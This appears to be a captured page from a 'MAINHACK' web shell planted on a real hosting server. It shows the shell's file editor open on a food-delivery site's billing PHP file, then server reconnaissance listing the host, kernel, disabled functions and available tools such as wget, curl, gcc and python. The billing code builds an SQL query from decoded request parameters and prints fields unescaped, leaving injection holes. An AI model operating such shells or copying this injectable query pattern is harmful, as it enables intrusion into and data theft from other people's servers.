[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: bill_final.php
<?php include 'settings/settings.php'; $user=base64_decode($_REQUEST['uid']); $order=base64_decode($_REQUEST['bid']); $show=new Oops($db); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Bill</title> <style type="text/css" media="print"> @page { size: auto; /* auto is the initial value */ margin: 0mm; /* this affects th e margin in the printer settings */ } html { background-color: #FFFFFF; margin: 0px; /* this affects the margin on the html before sending to printer */ } body { } </style> <style> body{font-family: 'Open Sans', sans-serif; font-size:12px;} table{ border-collapse:collapse; width:100%;} table tr,td,th{ border:1px solid #efefef; padding:6px; text-align:center;} .text-head{border-bottom: 1px solid #fff; font-size: 15px; line-height: 25px; color: #fff; background: #ffb900; text-align: center; } div.table{ margin: 3% auto; width: 35%; border: 1px solid #d0d0d0; overflow: hidden; } .left-border{ width: 79%; text-align: right; font-size: 13px; } table.top tr:nth-child(1) p { margin-top: 0px !important; margin-bottom: 0px !important; text-align:left;} table.top tr:nth-child(2){ border-bottom:none;} table.top tr:nth-child(3){border-top:none; border-bottom:none;} table.top tr:nth-child(4){border-top:none;} table.top tr:nth-child(2) td{text-align:left;} table.top tr:nth-child(3) td{text-align:left;} table.top tr:nth-child(4) td{text-align:left;} label{ font-weight:bold;} .no{border:none;} table.no tr th{ border:none;} .heigh{ border-top:none; text-align:center;} table.heigh tr:last-child td{ padding-bottom:1em;} table.heigh tr,td{} table.top{border:1px solid #fff;} table.top h2{ padding:0 0 7px 0; margin: 0; font-size: 15px; line-height: 20px; color: #011319;} table.top h4{ padding: 0; margin: 0; font-size: 11px; line-height: 20px; color: #001117;} table.top p{padding: 0; margin: 0; font-size: 13px; line-height: 24px; color: #02151b;} table.top tr,td{ border:none;} table.bottom td{ text-align:left; border:none;} table.bottom tr:nth-child(1){ border-bottom:none;} table.bottom tr:nth-child(2){ border-bottom:none; border-top:none;} table.bottom tr:nth-child(3){ border-top:none;} table.bottom tr:nth-child(4) td{ padding-top:5em; padding-bottom:2em;} .text-center{ text-align:center !important;} .text-right{ text-align:right !important;} .print{padding:7px 15px; margin:0 auto; background:rgba(0, 0, 0, 0) -moz-linear-gradient(center top , #cae0b0 0%, #a6cb7a 2%, #6da42b 100%) repeat scroll 0 0; background:#619126; Color:#fff; } div.table { margin: 3% auto; width: 40%; border: 1px solid #dddbda; overflow: hidden; } .text-head { border-bottom: 1px solid #fff; font-size: 15px; line-height: 25px; color: #fff; background: #275f4b; text-align: center; } .text-head { border-bottom: 5px solid #ff841b; font-size: 18px; line-height: 30px; color: #fff; background: #275f4b; text-align: center; text-transform: uppercase; padding: 5px 0 10px; } table.top h2 { font-size: 18px; line-height: 20px; color: #1f5542; font-weight: normal; } table.top p { padding: 0; margin: 0; font-size: 14px; line-height: 24px; color: #0e241ccf; font-family: 'Nunito', sans-serif; } table.no tr th { border: none; border-right-width: medium; border-right-style: none; border-right-color: currentcolor; border-right: 1px solid #1fb57f; color: #fff; } .print { padding: 7px 15px; margin: 0 auto; background: #ff841b; Color: #fff; cursor: pointer; outline: none; border: none; border-bottom-width: medium; border-bottom-style: none; border-bottom-color: currentcolor; border-radius: 15px; border-bottom: 2px solid #2d755b; font-weight: bold; text-transform: uppercase; } .print:hover{background: #2d755b;} div.table { margin: 3% auto; width: 40%; border: 1px solid #dddbda; overflow: hidden; background: #fff; padding: 5px; box-shadow: 0 3px 5px -1px rgb(0 0 0 / 17%), 0 5px 8px 0 rgb(0 0 0 / 5%), -5px 10px 20px 3px rgb(0 0 0 / 20%); } .no-print{ margin:2em 0;} @media print { .no-print, .no-print * { display: none !important; } div.table{ margin: 0% auto; width: 50%; border: 1px solid #d0d0d0; } } </style> <link href='//fonts.googleapis.com/css?family=Montserrat+Alternates:400,700' rel='stylesheet' type='text/css'> <link href='//fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'> <link href='//fonts.googleapis.com/css?family=Racing+Sans+One' rel='stylesheet' type='text/css'> </head> <body> <?php $sq="select * from place_order inner join customers on customers.customer_id = place_order.user_id where place_order.user_id='".$user."' and place_order.order_id='".$order."' order by place_order.id desc limit 1"; $r=$con->prepare($sq); $r->execute(); $c=$r->rowCount(); if($c<=0){ echo ""; }else{ while($row = $r->fetch(PDO::FETCH_ASSOC)){ $add=$row['address']; $order=$row['order_id']; $amt=$row['amount']; $pin=$row['pincode']; $locality=$row['locality']; $name=$row['name']; $id=$row['user_id']; $phn=$row['phone']; $name=$row['name']; $mid=$row['maker_id']; } } $stmt1=$show->readwithdata('place_order','order_id',$order); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ $add1=$row['address']; //$pin1=$row1['pincode']; $pay_st=$row['pay_status']; $amount=$row['amount']; $othr=$row['other']; $date=date('d/m/Y',strtotime($row['date'])); $order_status=$row['order_status']; $delivery_time=$row['delivery_time']; $gst=$row['gst']; $total_amt=$row['total']; } } $sq1=$show->readwithdata('food_maker','maker_id',$mid); while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $com_name=$row1['title']; $c_address=$row1['address']; $cpincode=$row1['pincode']; $clocality=$row1['locality']; } /*if($othr==1){ $stmt1=$show->readwithdata('other_address','order_id',$order); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ $na1=$row['name']; $phone1=$row['phone']; $address=$row['address']; $cityc=$row['city']; } } }*/ ?> <div class='privacy about' style=''> <div class="table"> <table class="top"> <tr> <td colspan="4" class="text-head" style=""> <label>Thanks for choosing <?=$company_name?>, <?=$name?>!<br> Here are your order details </label> </td> </tr> <tr> <td width="50%"> <p><b><h2>Dootkart</h2></b></p> <h4></h4> <p>Order No : <?=$order?></p> <p>Order Placed at : <?=$date?></p> <p>Order delivered at : <?=$date?> , <?=$delivery_time?> </p> <p>Order Status : <?=$order_status?></p> <p>Order Type : <?=$pay_st?></p> </td> <td width="50%"> <p><b><h2>Delivered To</h2></b></p> <h4><?=$name?></h4> <p><?=$address?>,<?=$locality?>,<?=$pin?></p> </td> </tr> <tr> <td width="50%"> <p><b><h2>Ordered Form </h2></b></p> <h4><?=$com_name?></h4> <p><?=$c_address?>,<?=$clocality?>,<?=$cpincode?></p> </td> <td width="50%" class="text-center"> <img src="images/admin-logo.png" width="45%" /> </td> </tr> </table> <style> table.new-table{ border:solid 1px #000;} table.new-table tr th{ border:solid 1px #000;} table.new-table tr{ border:none;} table.new-table tr td.no-left{ border-right:1px solid #000; } </style> <table class="no" style="background: #2d755b;"> <th width="32%">ITEM NAME</th> <th width="32%">QUANTITY</th> <th width="32%"> PRICE </th> </table> <?php $stmt1=$show->readwithdata('bill','order_id',$order); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ $total=intval($row['quantity']*$row['price']); $total1+=$total; ?> <table class="no"> <td width="32%"><?=$row['product_name']?> </td> <td width="32%"><?=$row['quantity']?></td> <td width="32%"><?=$total?></td> </table> <?php } } ?> <table class="heigh"> <tr> <td class="left-border">Item Total</td> <td width='10%'><?=$amount?></td> </tr> <tr> <td class="left-border">Delivery Charges</td> <td width='10%'>40</td> </tr> <tr> <td class="left-border">GST</td> <td width='10%'><?=$gst?></td> </tr> <tr> <td class="left-border"><label>Grand Total (INR)</label></td> <td width='10%'><?=$total_amt?></td> <td></td> </tr> </table> <div class="no-print" align="center"> <button onclick="myFunction()" class="print">Print this page</button> <div> <script> function myFunction() { window.print(); } </script> </div> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619